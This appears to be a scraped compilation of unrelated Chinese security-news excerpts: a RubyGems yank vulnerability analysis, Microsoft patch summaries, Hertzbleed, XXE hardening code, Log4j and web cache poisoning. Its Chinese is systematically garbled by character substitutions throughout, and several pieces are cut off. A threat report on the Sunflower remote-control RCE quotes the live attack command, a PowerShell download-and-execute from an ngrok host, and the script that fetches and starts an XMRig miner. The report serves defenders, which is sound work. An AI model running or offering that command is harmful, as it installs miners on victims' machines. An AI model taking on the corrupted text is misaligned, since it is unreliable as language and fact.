RubyGems是一个软件包注册核心，用于为 Ruby 语言生态系统提供软件，它托管超过170,000个Ruby包(gem)，在其生命周期内提供了近1000 亿次下载。2022年5月6日，RubyGems披露存在一个可导致未受权拜访的破绽（CVE-2022-29176），该破绽的CVSS评分为9.9。RubyGems公布平安布告指出，“因为 yank 操作中存在一个破绽，因而任何 RubyGems.org 用户都能越权删除并取代某些gems。”本篇文章将剖析CVE-2022-29176破绽的性质，带来的影响评估和事件剖析。想要自动检测恶意软件？分割Mend受权合作伙伴——龙智，理解更多对于Mend的主动恶意软件检测平台Diffend的信息。 2022年5月6日，公布了一个RubyGems的要害安全漏洞，RubyGems是Ruby生态系统的次要包源。 该破绽是因为可从存储库中勾销公布（“yank”）某些Ruby包，并应用雷同的文件名和版本号从新公布净化或歹意的版本。该破绽须要满足以下条件： gem名称中有一个或多个破折号，例如something-provider。以第一个破折号之前的单词命名的包不存在（例如，用于kostya-sigar的kostya, 用于googleapis-common-protos-types的googleapi）。被篡改的包是在过来30天内创立的，或者超过100天未更新。因为RubyGems提供了具体的包信息列表，所以很容易通过解决这些信息来找到满足以上条件的包。 此外，咱们不能假如歹意行为者之前没有留神到该破绽。尽管这个破绽是由平安钻研人员报告的，但考察人员也假如已存在利用该破绽的状况。思考到这一点，在查看可疑流动时，咱们从新拜访了RubyGems上所有可用的软件包。 CVE-2022-29176的实质RubyGems 中的一个bug是，它容许未经受权的参与者，在不用成为其所有者的状况下撤回（删除）包版本。该申请将被分派给包的控制者，但因为获取包版本的机制，撤销操作可能将在不同的包上执行。相干代码如下： find_by!(full_name: "#{rubygem.name}-#{slug}")因为没有正确地过滤/查看slug，所以可能查问到其它包的版本。但尽管如此，它也可能会带来法律和平安危险。 例如，googleapi示例，能够构建以下的包版本:slug: googleapis-common-protos-types-1.3.1当发送common-protos-types-1.3.1作为一个slug时。 这将无效地删除此版本的指标包。 因为这种性质的问题，事态迅速降级。通过删除所有版本，在某些状况下，该名称能够用于复用。这意味着咱们有了一个很棒的新包名可供使用。 包版本的不变性怎么样？RubyGems软件包的版本在设计上是不变且不可代替的。这就意味着除非产生安全事件，即有人泄露RubyGems并篡改软件包的内容，否则用户不能简略地更换或更新给定的版本。当然，您也能够删除版本或上传新版本，但新版本须要有不同的编号。 补充信息 这里常常被疏忽的一点是，单个RubyGems版本仅在公布它的平台范畴内是惟一的。平台基于 CPU架构、操作系统类型，有时还基于操作系统版本。示例包含“x86-mingw32”或“java”。该平台表明gem仅实用于为该平台构建的ruby。RubyGems会主动为您的平台下载正确的版本。 默认平台称为 -ruby，它能够在任何平台上运行。尽管您无奈替换它的内容，但您能够自在地删除它并公布具备雷同编号的新平台特定版本。例如，您能够删除 karafka-testing-1.4.3 并上传 karafka-testing-1.4.3-i686-linux。版本自身不会扭转，但会指定平台。 没有什么能阻止歹意行为者列出所有可用平台，并在每个平台公布一个版本，从而导致每名用户均受此影响。 我有一个 Gemfile.lock，它是不可变的，是这样的吗？当然不对。在某些状况下，只管有锁定文件，Bundler仍能够从新解决依赖关系。这是一种预期中的行为，但尽管如此，它也可能会带来法律和平安危险。 应用-frozen作为默认设置，并应用受损的软件包，您将收到相似于以下内容的音讯： “您的捆绑包仅反对平台 [“x86_64-linux”]，但您的本地平台是 x86_64-darwin。应用 bundle lock –add-platform x64-mingw32 将以后平台增加到锁文件中，而后重试。” 尽管上述语句不具备描述性，也未说明任何平安危险，但至多它可能会让人们留神到某些事件曾经产生了变动。 在Bundler中进行校验和验证会有帮忙吗?不会。在上述情况下，Bundler可能会决定从新解析依赖关系。新的依赖关系意味着更新锁文件。更新的lockfile意味着针对特定平台的雷同版本的新校验。 影响评估和事件剖析咱们正在进行一个口头，旨在帮忙开源软件社区和包注册核心爱护所有用户，作为口头的一部分，WhiteSource提供了来自咱们Diffend平台的情报。 当咱们收到对于该事件的告诉时，咱们应用Diffend进行了评估，以确保： 没有风行的软件包被篡改没有任何包通过该破绽被接管(除了钻研包)没有包公布了特定于平台的版本，同时删除了-ruby当剖析这样的案例时，咱们从影响评估开始。因为咱们实时收集对于RubyGems的信息，咱们可能查看到，去年有： 132045版本的增加或删除16,629个包受到这些更改的影响因为Diffend跟踪所有权转换，所以咱们晓得包产生的任何所有权变动。 因为这种攻打须要一个新的所有者，所以咱们能够将范畴放大到1101个包。 当惯例的所有权转移产生时，应该有一个阶段，在这个阶段有两个所有者： 旧所有者交出包所有权新所有者承受所有权依据后面探讨的破绽实质，利用该破绽的所有者转移，不存在交接阶段，旧所有者隐没，新所有者呈现。 预期所有权转移流程： 意外的所有权转移流： 留神：这种模式能够有非法的案例，但对咱们来说，该模式能够帮忙咱们筛选异样包。 当将此逻辑利用于咱们的1,101个包时，咱们最终会失去174个包。当初，过滤了带有连字符的包后，咱们最终剩下60个。在这60个中，只有三个具备每个平台特定的版本： shopify-proxy-2-jitmrslave-omniauth-runnermygem-dcgl-other留神：这个问题有更多的概念包可能证实，但这些包没有所有权更改，因而无关紧要。这些软件包都是钻研性质的。 能够必定的是，咱们仔细检查了所有60个，没有发现任何歹意签名。 咱们真的能够假如之前没有人留神到这一点吗？不能够，这就是为什么咱们还查看了所有被撤销了-ruby平台版本，同时存在其余平台雷同版本的包。 SELECT versions.package_id from versions inner join ( SELECT "versions"."package_id", "versions"."number" FROM "versions" WHERE yanked_at is not null ) yanked on versions.package_id = yanked.package_id and versions.number = yanked.number where versions.yanked_at is null这为咱们提供了85个包，其中29个带有连字符。对于这29个包，咱们再次进行了人工审核，没有发现任何歹意斗争的迹象。 ...

微软官网公布了2022年06月的安全更新。本月更新颁布了61个破绽，蕴含28个近程执行代码破绽、12个特权晋升破绽、11个信息泄露破绽、3个拒绝服务破绽、1个性能绕过以及1个身份混充破绽，其中3个破绽级别为“Critical”（高危），53个为“Important”（重大）。倡议用户及时应用火绒安全软件（集体/企业）【破绽修复】性能更新补丁。 波及组件.NET and Visual StudioAzure OMIAzure Real Time Operating SystemAzure Service Fabric ContainerIntelMicrosoft Edge (Chromium-based)Microsoft OfficeMicrosoft Office ExcelMicrosoft Office SharePointMicrosoft Windows ALPCMicrosoft Windows Codecs LibraryRemote Volume Shadow Copy Service (RVSS)Role: Windows Hyper-VSQL ServerWindows Ancillary Function Driver for WinSockWindows App StoreWindows AutopilotWindows Container Isolation FS Filter DriverWindows Container Manager ServiceWindows DefenderWindows Encrypting File System (EFS)Windows File History ServiceWindows InstallerWindows iSCSIWindows KerberosWindows KernelWindows LDAP - Lightweight Directory Access ProtocolWindows Local Security Authority Subsystem ServiceWindows MediaWindows Network Address Translation (NAT)Windows Network File SystemWindows PowerShellWindows SMB以下破绽需特地留神Microsoft Windows 反对诊断工具 (MSDT) 近程代码执行破绽CVE-2022-30190重大级别：重大 CVSS：7.8被利用级别：检测到利用攻击者能够通过结构带有歹意链接的Office文档发送给用户，诱导用户关上该文档时，则会触发该破绽，须要留神的是，如果在资源管理器中开启了预览选项，无需用户关上歹意文档，仅预览RTF格局的歹意文档就会触发该破绽。 ...

本周二，有钻研人员在 Intel、AMD 和其余公司的微处理器中发现了新的破绽，其攻打指标是简直所有古代 CPU 上的节电模式（power-conservation），近程攻击者能够利用该破绽通过电源侧通道攻打窃取加密密钥。 来自德克萨斯大学、伊利诺伊大学香槟分校和华盛顿大学的一组钻研人员，将本次攻击方式命名为 Hertzbleed，其外围在于动静电压和频率缩放（DVFS），即用于节能和缩小芯片产生热量的功率和热治理性能。 钻研人员解释称，在某些状况下，CPU 频率的定期调整取决于以后的 CPU 功耗，这些调整间接转化为执行时间差（1 赫兹=1 个周期/秒）。 家喻户晓，黑客能够通过测量芯片在解决这些值时所耗费的功率，从芯片中提取机密加密数据。这一点，硬件制造商们其实也早就晓得。 所幸，黑客利用针对微处理器的功耗分析攻击的伎俩是无限的，因为攻击者在解决秘密资料时简直没有可行的办法来近程测量功耗。当初，钻研人员曾经找到了如何将功耗分析攻击转化为另一类要求绝对较低的侧信道（side-channel）攻打。 Hertzbleed：针对 DVFS 的攻打钻研团队发现，动静电压和频率缩放（DVFS），这种增加到每个古代 CPU 中的电源和热量治理性能，容许攻击者通过监控服务器响应特定精心制作的查问所需的工夫来推断功耗的变动。这一发现大大减少了所需的工作量。理解了 DVFS 性能的工作原理后，电源侧信道攻打变得更加简略，能够近程进行定时攻打。 这种被称为 Hertzbleed 的攻击方式，利用了对 DVFS 的洞察来裸露或泄露预计将放弃隐衷的数据。Intel 芯片的破绽跟踪为 CVE-2022-24436，AMD CPU 的破绽跟踪为 CVE-2022-23823。钻研人员曾经展现了如何利用他们开发的破绽技术从运行 SIKE 的服务器中提取加密密钥（SIKE 是一种加密算法，用于在单方之间通过不平安的通信信道建设密钥）。 钻研人员示意，他们胜利复制了第 8 代至第 11 代外围微体系结构对 Intel CPU 的攻打。他们还宣称，该技术将在英特尔 Xeon CPU 上运行，并验证了 AMD Ryzen 处理器易受攻击，并启用了针对英特尔芯片的雷同 SIKE 攻打。钻研人员认为，其余制造商的芯片也可能受到影响。 据该钻研小组成员解释称，Hertzbleed 是一个新的侧信道攻打家族：频率侧信道。在最坏的状况下，这些攻打可容许攻击者从以前认为平安的近程服务器提取加密密钥。 试验表明，在某些状况下，古代 x86 处理器的动静频率缩放取决于所解决的数据。也就是说，在古代处理器上，同一程序在计算时能够以不同的 CPU 频率运行。 因而，Hertzbleed 对于加密软件平安来说是一个实实在在的威逼。 Intel、AMD 尚未公布微码更新，但已倡议增强库/应用程序的开发对于本次破绽攻打事件，Intel 和 AMD 方面都已针对调查结果公布了独立征询意见。 ...

大家好，我是灰豆。我基于 Chromium 源码实现了 DOM-XSS 检测工具，用于发现可疑的 DOM-XSS。该工具采纳动静净化追踪（Taint Tracking）技术，能够监测攻击者可控的输出源（source）与威逼产生点（sink）之间的数据流动过程，为人工验证提供详实牢靠的根据。 软件现处于内测阶段，面向读者征集网站子域名，你提供域名、我负责检测、后果归你 1.征集要求如下：1 倡议提供各类 SRC 子域名； 2 子域名必须为沉闷域名（200 OK）； 3 子域名格局要求为：http(s)://yourdomain.microsoft.com，域名前面能够有参数； 3 域名起源非法，遵纪守法。 2.我的承诺：1 窃密，不把域名分享给其他人，不自私占有检测成绩，检测成绩归域名提供者所有。 3.软件检测范畴（1） 软件能够检测的输出源（source）如下： 1.document.baseURI 2.document.cookie 3.document.documentURI 4.document.domain 5.document.URL 6.document.referrer 7.document.textContent 8.document.title 9.location.hash 10.location.hostname 11.location.href 12.location.pathname 13.location.search 14.element.innerHTML （2） 可检测的威逼产生点（sink）如下： 1.document.write() 2.document.writeln() 3.setTimeout() 4.setInterval() 5.Function() 6.alert() 7.eval() 4.软件检测演示图图中标记1 是具备 Taint Tracking 技术的 chromium 浏览器；标记2 是测试用例（index-1.htm）源码; 标记 3 是检测后果，上面具体阐明检测后果： 第 1 行，[hash]#XSSTestCase 阐明被测网页中读取了 location.hash，值为：#XSSTestCase; 第 2 行，[href]http://192.168.179.1/index-1.htm#XSSTestCase 阐明被测网页中读取了 location.href，值为：http://192.168.179.1/index-1.htm#XSSTestCase; 第 3 行，[Sink:write:<p>the V8TEST is:#XSSTestCasehttp://192.168.179.1/index-1.htm#XSSTestCase</p> , 910215, [ADD:[hash][href]]] 这一项采纳逗号分隔，阐明发现了 source 到 sink 之间的门路。 其中Sink:write:<p>the V8TEST is:#XSSTestCasehttp://192.168.179.1/index-1.htm#XSSTestCase</p> 阐明检测到了 sink document.write，写入 DOM 的数据内容是 #XSSTestCasehttp://192.168.179.1/index-1.htm#XSSTestCase</p>; 910215 是测试 flag，与后果无关； [ADD:[hash][href]] 阐明了写入 DOM 的数据的起源，ADD示意加法操作，即 hash+href的后果被 document.write 写入 DOM。留神 检测后果不包含<p>the V8TEST is，尽管它也与 hash+ href 一起写入 DOM，但它是攻击者不可控的有害数据。 ...

在我的上一篇文章中，咱们明确了如何配置XML解析器来实现全面禁用XXE申明和扩大。这是一个简略但严格的解决方案，可能很难在您的我的项目中实现。所以明天，咱们将探讨如何准确地限度XXE。同样，咱们的示例代码将次要应用Java代码，同时也参考其余语言的代码。 限度内部连贯到受权协定Java JAXP API 1.5版增加了新的属性来限度对外部内容的拜访。在本文中，咱们将只关注限度XXE，从而限度拜访内部DTD属性。但限度对其余内部资源（如模式）的拜访对于升高其余XML破绽的危险也具备必要性。 必须应用受权协定列表定义以下属性： Factory setProperty（xmlcontents.ACCESS_EXTERNAL_DTD，“http”）；在本例中，只容许连贯至http资源，避免应用文件URI计划应用XXEs过滤包含敏感内容的文件，但这依然不足以无效防止破绽，因为敏感内容能够从网络可拜访的资源中被检索进去。稍后咱们将会看到，此性能通常用做第一个过滤器，并与实体解析器配合应用。 通过将此性能设置为空字符串，能够平安地齐全禁用XXE： Factory setProperty（xmlcontents.ACCESS_EXTERNAL_DTD，”）；注：咱们曾经理解到了一些XML处理器具备的性能，比方ApacheXerces，仍然不反对这些JAXP1.5属性。 对于libxml数据库，限度内部连贯的最快捷设置是libxml_NONET性能，它禁止在检索内部资源时应用网络。以下是一个PHP示例： $doc=simplexml_load_string（$xml，“simplexmlement”，LIBXML_NONET）；应用自定义解析程序解析实体SAX（XML的简略API，最后是仅用Java语言示意的API）解析器基于事件驱动的API。对于在XML文档中找到的每个实体援用，都会调用EntityResolver接口实现的resolveEntity回调函数。在默认的状况下，内置Java解析器将会尝试拜访XML文档中定义的简直所有内部内容。 因而，为了爱护SAX应用程序的平安，应该禁用XXE申明或援用扩大，就像咱们在本探讨内容的第二篇文章所述内容一样，或者依据应用程序的须要应用自定义解析器。 应用自定义解析器的常见用例有： 应用资源的缓存版本，而非从网络获取资源。将URI资源的计划（如http://）替换为更适合的计划（https://）。将绝对URI资源转换为相对URI资源。只对平安且通过验证的实体进行受权。自定义解析器由EntityResolver接口实现组成，该实现应应用SAX处理器的setEntityResolver办法注册。 例如，咱们在开源我的项目中看到过很多避免XXE破绽的无效解决方案，就是为任何实体关联一个空字符串作为内容，从而可能齐全禁用实体解析。与咱们之前探讨的解决方案的不同之处在于，这里容许在XML文件中应用XXE申明，但它们的解析被禁用，因而提供了一种非阻塞且平安的形式来解析XML文件： builder.setEntityResolver(new EntityResolver() { @Override public InputSource resolveEntity(String publicId, String systemId) throws SAXException, IOException { return new InputSource(new StringReader("")); } });请留神，将null注册为实体抵触解决程序相当于应用默认且不平安的抵触解决程序，因而这样做可能没有很好的理由： builder.setEntityResolver(null); 在自定义解析器中，当返回null时，解析器的默认行为是获取内部内容： builder.setEntityResolver(new EntityResolver() { @Override public InputSource resolveEntity(String publicId, String systemId) throws SAXException, IOException { return null; } });因而，如上所述的已得到许可的实体解析程序仍然可能导致XXE破绽。这就是咱们后面探讨的属性要施展的作用所在。entityResolver对systemId以logo.png结尾的实体应用自定义解析，否则应用默认行为。因为通过将ACCESS_EXTERNAL_DTD属性设置为空字符串已在第一行批改了默认行为，因而实体解析器是平安的。 builder.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, ""); builder.setEntityResolver(new EntityResolver() { @Override public InputSource resolveEntity(String publicId, String systemId) throws SAXException, IOException { if (systemId.endsWith("logo.png")) { InputStream in = classLoader.getResourceAsStream("com/package/logo.png"); return new InputSource(new StringReader(Base64.getEncoder().encodeToString(IOUtils.toByteArray(in)))); } return null; } });其余语言中的其余数据库也提供了相似的性能，容许自定义内部实体的解析，比方PHP的libxml和libxml_set_external_entity_loader函数： ...

微软官网公布了2022年04月的安全更新。本月更新颁布了145个破绽，蕴含47个近程执行代码破绽、55个特权晋升破绽、13个信息泄露破绽、9个拒绝服务破绽以及4个身份混充破绽，其中10个破绽级别为“Critical”（高危），115个为“Important”（重大）。倡议用户及时应用火绒安全软件（集体/企业）【破绽修复】性能更新补丁。 波及组件.NET FrameworkActive Directory Domain ServicesAzure SDKAzure Site RecoveryLDAP - LIGHTWEIGHT DIRECTORY ACCESS PROTOCOLMicrosoft Bluetooth driverMicrosoft DynamicsMicrosoft Edge (based on Chromium)Microsoft Graphics ComponentMicrosoft Local Security Authentication Server (lsasrv)Microsoft Office ExcelMicrosoft Office SharePointMicrosoft Windows ALPCMicrosoft Windows Codec LibraryMicrosoft Windows Media FoundationPower BIROLE: DNS SERVERRole: Windows Hyper-VSkype for BusinessVisual StudioVisual Studio CodeWindows accessibility driver for WinSockWindows StoreWindows AppX Package ManagerWindows Cluster client failoverWindows Cluster Shared Volumes (CSV)Windows Universal Log File System DriverWindows DefenderMicrosoft DWM core libraryWindows Endpoint Configuration ManagerWindows Fax Compose FormWindows Feedback HubWindows File ExplorerWindows File ServerWindows InstallerWindows iSCSI Target ServiceWindows KerberosWindows KernelWindows Local Security Authentication Subsystem ServiceWindows MediaWindows Network File SystemWindows PowerShellWindows Print Spooler componentWindows RDPWindows remote procedure calls the runtimeWindows channelWindows SMBWindows Telephony ServerWindows Upgrade AssistantWindows User Profile ServiceWindows Win32KWindows Work Folders serviceYARP reverse proxy ...

一、概述近日，腾讯平安威逼情报中心检测到有挖矿、远控黑产团伙利用向日葵远控软件RCE破绽攻打企业主机和个人电脑，已有局部未修复破绽的主机、个人电脑受益。攻击者利用破绽入侵后可间接取得零碎控制权，受益主机已被用于门罗币挖矿。 在局部城市因疫情治理须要，近程办公场景增多，向日葵类近程控制软件的利用也会减少，从而零碎被黑客利用破绽入侵管制的危险也随之减少。腾讯平安专家建议政企机构与个人电脑用户将向日葵远控软件降级到最新版本以修复破绽，倡议防止将不必要的端口及服务在公网凋谢，防止将集体远控软件装置在业务服务器中。举荐应用腾讯零信赖iOA、或腾讯电脑管家进行病毒扫描，排查零碎是否已被入侵，采纳零信赖iOA解决近程平安接入需要，防止疫情期间零碎被黑客管制而造成损失。 向日葵是一款收费的，集近程管制电脑、手机、远程桌面连贯、近程开机、远程管理、反对内网穿透等性能的一体化近程管制管理软件。往年2月，向日葵个人版V11.0.0.33之前的版本与简洁版V1.0.1.43315（2021.12）之前的版本被披露存在近程代码执行（RCE）破绽，破绽编号CNVD-2022-10270，CNVD-2022-03672。 存在破绽的系统启动服务端软件后，会凋谢未受权拜访端口，攻击者可通过未受权拜访无需明码间接获取session，并借此近程执行任意代码。从而导致存在破绽的个人电脑或服务器被黑客入侵管制。 在上述高危破绽呈现后，腾讯平安旗下的主机平安产品、零信赖iOA、破绽扫描服务、高危威逼检测零碎均已反对对向日葵RCE破绽的检测和进攻。腾讯零信赖iOA拦挡利用向日葵RCE破绽的攻打 本次利用向日葵近程代码执行破绽攻打流传的挖矿木马为XMRig（门罗币）挖矿程序，企业或个人用户可参考以下内容自查后清理：1.查看工作管理器，完结高CPU/GPU占用的程序；2.查看c:\users\public\目录下是否存在木马文件xmrig.exe、WinRing0x64.sys、config.json，如果有，就删除这些文件。 远控木马应用Farfli家族开源代码编译而成，自查与清理形式：1.查看Svchost下的服务名，清理服务NETRUDSL通过运行msconfig，或regedit查看以下相干零碎服务是否存在：HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost 2.删除远控木马文件C:\Windows\33649531.dll（在不同主机上33649531为随机8位数字） 腾讯平安系列产品已反对检测、查杀利用向日葵近程代码执行破绽攻打流传的XMRig类挖矿木马与Farfli家族远控木马，具体响应清单如下： 更多产品信息，请参考腾讯平安官方网站https://s.tencent.com/二、详细分析2.1挖矿木马利用破绽投递并执行歹意脚本：ping../../../../../../../../../../../windows/system32/WindowsPowerShell/v1.0/powershell.exe -exec bypass -noexit -C IEX (new-object system.net.webclient).downloadstring(/"http://pingce.jp.ngrok.io/ob.ps1/") 脚本内容解码后如下：$url = "http://pingce.jp.ngrok.io/xmrig.exe"$url2 = "http://pingce.jp.ngrok.io/config.json"$url3 = "http://pingce.jp.ngrok.io/WinRing0x64.sys" $output = "C:\users\public\xmrig.exe"$output2 = "C:\users\public\config.json"$output3 = "C:\users\public\WinRing0x64.sys" $wc = New-Object System.Net.WebClient$wc.DownloadFile($url, $output)$wc.DownloadFile($url2, $output2)$wc.DownloadFile($url3, $output3) taskkill /f /t /im xmrig.exeRemove-Item -Path "C:\Users\public\c3pool" -RecurseStart-Sleep -s 15start-process "c:\users\public\xmrig.exe" -ArgumentList "-c c:\users\public\config.json" 开释零碎挖矿过程，启动指定配置的XMRig挖矿程序。 2.2远控木马木马外壳分区段装载远控木马，tProtectVirtualMemory批改内存属性为可读可执行。 最终开释出的可执行文件为Farfli家族开源代码编译而成的远控木马。 该木马对外提供的功能模块 三、威逼处理手册1.清理木马云主机用户可应用腾讯主机平安的快扫性能，清理查杀利用向日葵远控RCE破绽攻打流传的后门木马：通过腾讯主机平安（云镜）控制台，入侵检测->文件查杀，检测全网资产，检测歹意文件，若发现，可进行一键隔离操作。 步骤如下：A: 主机平安(云镜)控制台：入侵检测->文件查杀，抉择一键检测： B：弹出一键检测设置，抉择疾速扫描，全副专业版主机后开启扫描： C：查看扫描出的木马危险后果项 D：对检出的木马文件进行一键隔离（留神勾选隔离同时完结木马过程选项） 修复破绽云主机可应用腾讯主机平安（云镜）的破绽检测修复性能，帮助用户疾速修补相干高危破绽，用户可登录腾讯主机平安控制台，顺次关上左侧“破绽治理”，对扫描到的零碎组件破绽、web利用破绽、利用破绽进行排查。步骤细节如下：A：主机平安（云镜）控制台：关上破绽治理->破绽危险检测，点击一键检测，进行资产破绽扫描 B：查看扫描到的向日葵近程代码执行破绽危险我的项目详情 C：依据检测后果，对检测到有危险的资产进行破绽修复（登录相应主机，降级向日葵远控工具软件到最新版本）。D：回到主机平安（云镜）控制台再次关上“破绽治理”，从新检测确保资产已不受破绽影响。 3.进攻腾讯云防火墙已反对检测进攻利用向日葵近程代码执行破绽的攻打，私有云客户能够开明腾讯云防火墙高级版进行无效进攻：在腾讯云控制台界面，关上入侵进攻设置即可。IOCs【挖矿木马】Domainpingce[.]jp[.]ngrok[.]io md50c0195c48b6b8582fa6f6373032118dae6d26c76401c990bc94f4131350cde3e【远控】C2s1[.]yk[.]hyi8mc[.]top ...

微软官网公布了2022年03月的安全更新。本月更新颁布了92个破绽，蕴含29个近程执行代码破绽、25个特权晋升破绽、6个信息泄露破绽、4个拒绝服务破绽、3个身份混充破绽、3个平安性能绕过破绽以及1个篡改破绽，其中3个破绽级别为“Critical”（高危），68个为“Important”（重大）。倡议用户及时应用火绒安全软件（集体/企业）【破绽修复】性能更新补丁。 波及组件 .NET and Visual StudioAzure Site RecoveryMicrosoft Defender for EndpointMicrosoft Defender for IoTMicrosoft Edge (Chromium-based)Microsoft Exchange ServerMicrosoft IntuneMicrosoft Office VisioMicrosoft Office WordMicrosoft Windows ALPCMicrosoft Windows Codecs LibraryPaint 3DRole: Windows Hyper-VSkype Extension for ChromeTablet Windows User InterfaceVisual Studio CodeWindows Ancillary Function Driver for WinSockWindows CD-ROM DriverWindows Cloud Files Mini Filter DriverWindows COMWindows Common Log File System DriverWindows DWM Core LibraryWindows Event TracingWindows Fastfat DriverWindows Fax and Scan ServiceWindows HTML PlatformWindows InstallerWindows KernelWindows MediaWindows PDEVWindows Point-to-Point Tunneling ProtocolWindows Print Spooler ComponentsWindows Remote DesktopWindows Security Support Provider InterfaceWindows SMB ServerWindows Update StackXBox以下破绽需特地留神 ...

近日，平安研究员 Iustin Ladunca（Youstin）针对包含一些高流量在线服务在内的许多网站进行了调研，后果发现了 70 个具备不同影响的缓存中毒破绽。 Web 缓存中毒攻打的指标是 Web 服务器和客户端设施之间的两头存储点，例如point-of-presence servers、代理和负载平衡器。中介机构通过存储本地版本的 Web 内容来放慢向 Web 客户端的传送速度，从而帮忙进步网站的性能。Web 缓存中毒攻打会操纵缓存服务器的行为，以及它们如何响应客户端的特定 URL 申请。 Ladunca称本人从 2020 年 11 月开始钻研Web 缓存中毒，并谈到： “仅仅几周后，我就发现了两个新的缓存中毒破绽，这让我意识到缓存中毒的攻击面有多大。” 在 Ladunca的一篇博客中，他具体介绍了本人是如何发现和报告 Web 缓存破绽的，其中包含 Apache Traffic Server、GitHub、GitLab、HackerOne 和 Cloudflare 以及其余服务器。 “一个常见的模式是缓存服务器被配置为仅缓存动态文件，这意味着攻打仅限于动态文件，”ladunca 说。“即便如此，依然会产生重大影响，因为古代网站重大依赖 JS和 CSS，而删除这些文件会真正影响应用程序的可用性。” 多个 Web 缓存破绽导致拒绝服务 (DoS) 攻打。缓存服务器应用一些 headers作为 keys来存储和检索 URL 申请。通过在 unkeyed headers中应用有效值，ladunca 可能强制服务器缓存谬误响应，并在之后提供这些响应而不是原始内容，这将使客户端无法访问指标网页。 “就所应用的技术而言，迄今为止最常见的是通过 unkeyed headers的 CP-DoS，这可能占总发现的 80%，”Ladunca 说。其余 Web 缓存中毒破绽可能会导致跨站点脚本 (XSS) 攻打。 例如，一个破绽能够强制缓存服务器将 JavaScript 文件申请转发到攻击者管制的地址。在另一种状况下，ladunca 可能将缓存申请从一个主机重定向到另一个容易受到基于 DOM 的 XSS 攻打的主机。 Ladunca 因其发现的 70 个 Web 缓存破绽而取得了总计约 40,000 美元的破绽赏金，同时也失去了无关爱护 Web 缓存服务器的重要教训。“我认为爱护 CDN 免受缓存中毒攻打的一个好办法是禁用谬误状态代码的缓存，这种缓解措施应该能阻止大部分 CP-DoS 攻打，”Ladunca 示意。 ...

继本月上旬 Apache Log4j2 中的近程代码执行破绽被首次曝光后，后续又有多个破绽相继曝光，并在寰球范畴内造成了影响。 近日，Apache Log4j 日志库中又有另一个重大的近程代码执行破绽被曝，被跟踪为 CVE-2021-44832，此破绽由 Hideki Okamoto、Lederfein 以及另一位匿名破绽钻研人员独立发现。 CVE-2021-44832 是 Log4j 库中的第三个 RCE 和第四个破绽，此外别离是 CVE-2021-44228 (RCE)、CVE-2021-45046 (RCE) 和 CVE-2021-45105 (DoS 攻打)。 据介绍，CVE-2021-44832 体现为，Apache Log4j2 版本 2.0-beta7 到 2.17.0（不包含平安修复版本 2.3.2 和 2.12.4）容易受到近程代码执行 (RCE) 攻打，其中有权限批改日志配置文件的攻击者能够构建歹意配置，从而将 JDBC Appender 与援用 JNDI URI 的数据源一起应用，该 JNDI URI 能够执行近程代码。此问题已通过将 JNDI 数据源名称限度为 Log4j2 版本 2.17.1、2.12.4 和 2.3.2 中的 Java 协定来解决。 值得注意的是，Log4j 1.x 不受此破绽影响。受影响的用户可降级到 Log4j 2.3.2（实用于 Java 6）、2.12.4（实用于 Java 7）或 2.17.1（实用于 Java 8 及更高版本），以缓解该破绽带来的影响。 据官网提醒，只有 log4j-core JAR 文件受此破绽影响。仅应用 log4j-api JAR 文件而不应用 log4j-core JAR 文件的应用程序不受此破绽的影响。 ...

去哪儿网去哪儿是寰球最大的中文在线旅行网站，创建于2005年。去哪儿网为消费者提供国内外特价机票、酒店、游览度假、景点门票产品一站式预订服务，为游览行业合作伙伴提供在线技术、挪动技术解决方案。去哪儿近年来，接连发力大数据与人工智能，利用出游、住宿等畛域的全量数据和人工智能，为用户打造智能化搜寻、排序、举荐等服务。目前，去哪儿用户累计超6亿，平台年交易额超1600亿，且仍在疾速倒退中。 作为洞态 IAST 最晚期版本的用户，去哪儿在 IAST 与其 Q-SDL 平安体系的交融适配上有着独到的见解，非常感激去哪儿 Q-SDL 负责人耿徒弟对本次 IAST 实际的分享。 01 平安背景新政策、新业务、新威逼近年来，国家愈发器重信息安全，《网络安全法》、《数据安全法》、《个人信息保护法》相继出台并实施，对互联网企业提出了更严格的平安要求。在业务上，互联网企业的业务边界一直拓宽，用户和年交易额等均实现继续倒退，业务保障需要更强。但技术研发老本一直攀升、盈利增速降落都促使着以业务为主的企业，更加重视在平安上的“高产出”。据可查数据，自疫情暴发以来，黑客针对国内互联网企业的攻打简直出现指数级增长，企业面临的平安威逼极大。 在这样的背景下，互联网企业的网络安全能力建设，尤其是利用开发期的平安能力建设显得分外重要。阿里、腾讯、字节、去哪儿、轻松筹等企业均在着力强化利用平安开发，试图在利用开发期便大幅升高平安危险。DevSecOps 流程、SDL 流程在各企业都已早早落地实际运行，并打造适配其业务场景的平安体系。 平安需要去哪儿联合本身理论，打造了 Q-SDL 体系。Q-SDL 体系通过预防、检测和监控措施相结合的形式，缩小设计、开发中的软件的破绽数量和严重性问题，升高利用平安开发和保护的总成本，保证系统的安全性。 从上图可知，用于安全漏洞检测的自动化工具仅包含 SAST 和 DAST，但 SAST 和 DAST 均具备不可避免的重大缺点。 咱们在理论运行中发现，白盒测试存在误报率高、审计时策略规定生效显著、扫描效率低下重大妨碍开发节奏等问题，尤其是无奈获取破绽数据对安全部门造成了很大困扰。而黑盒覆盖范围无限，覆盖率依赖于 Explore 的后果，无奈扫描 AJAX、CSRF Token、验证码等页面，无奈测试 APP，无奈定位破绽的具体代码，须要破费较长时间与人力来进行破绽定位与起因剖析。 去哪儿急需一款可能补救黑盒和白盒有余的产品来欠缺 Q-SDL 体系。 02 调研之路思考到开源产品具备高扩展性、低应用老本的个性，咱们首先将抉择定位在开源产品上。因为过后市面上只有开源的 RASP，而没有开源的 IAST，因而首先调研的是 RASP。但调研后发现 RASP 存在重大影响服务器性能的问题，凑巧在理解 RASP 的过程中，发现前线平安正在研发 IAST，并打算开源公布，于是便进行了接触。以下为洞态 IAST 调研后果： IAST 全称交互式应用程序平安测试，次要通过 Agent 来收集和监控利用程序运行时的函数执行及数据传输，并与服务端进行实时交互，进而更高效、更精确的辨认应用软件的平安缺点及破绽。同时可精确定位破绽所在的代码文件、行数、函数及参数，不便开发团队修复问题，还具备高下误报率、0脏数据的劣势。但 IAST 在不同语言开发的 WEB 利用中须要有不同类型的 Agent、研发的技术难度和投入都十分微小。 洞态 IAST 产品架构在调研中咱们发现洞态 IAST 在架构上齐全不同于其余 IAST，其余 IAST 往往 “重 Agent 端、轻服务端”，而洞态的 Agent 端仅用于实现数据监听，破绽检测全副在服务端实现。这种办法的益处是 Agent 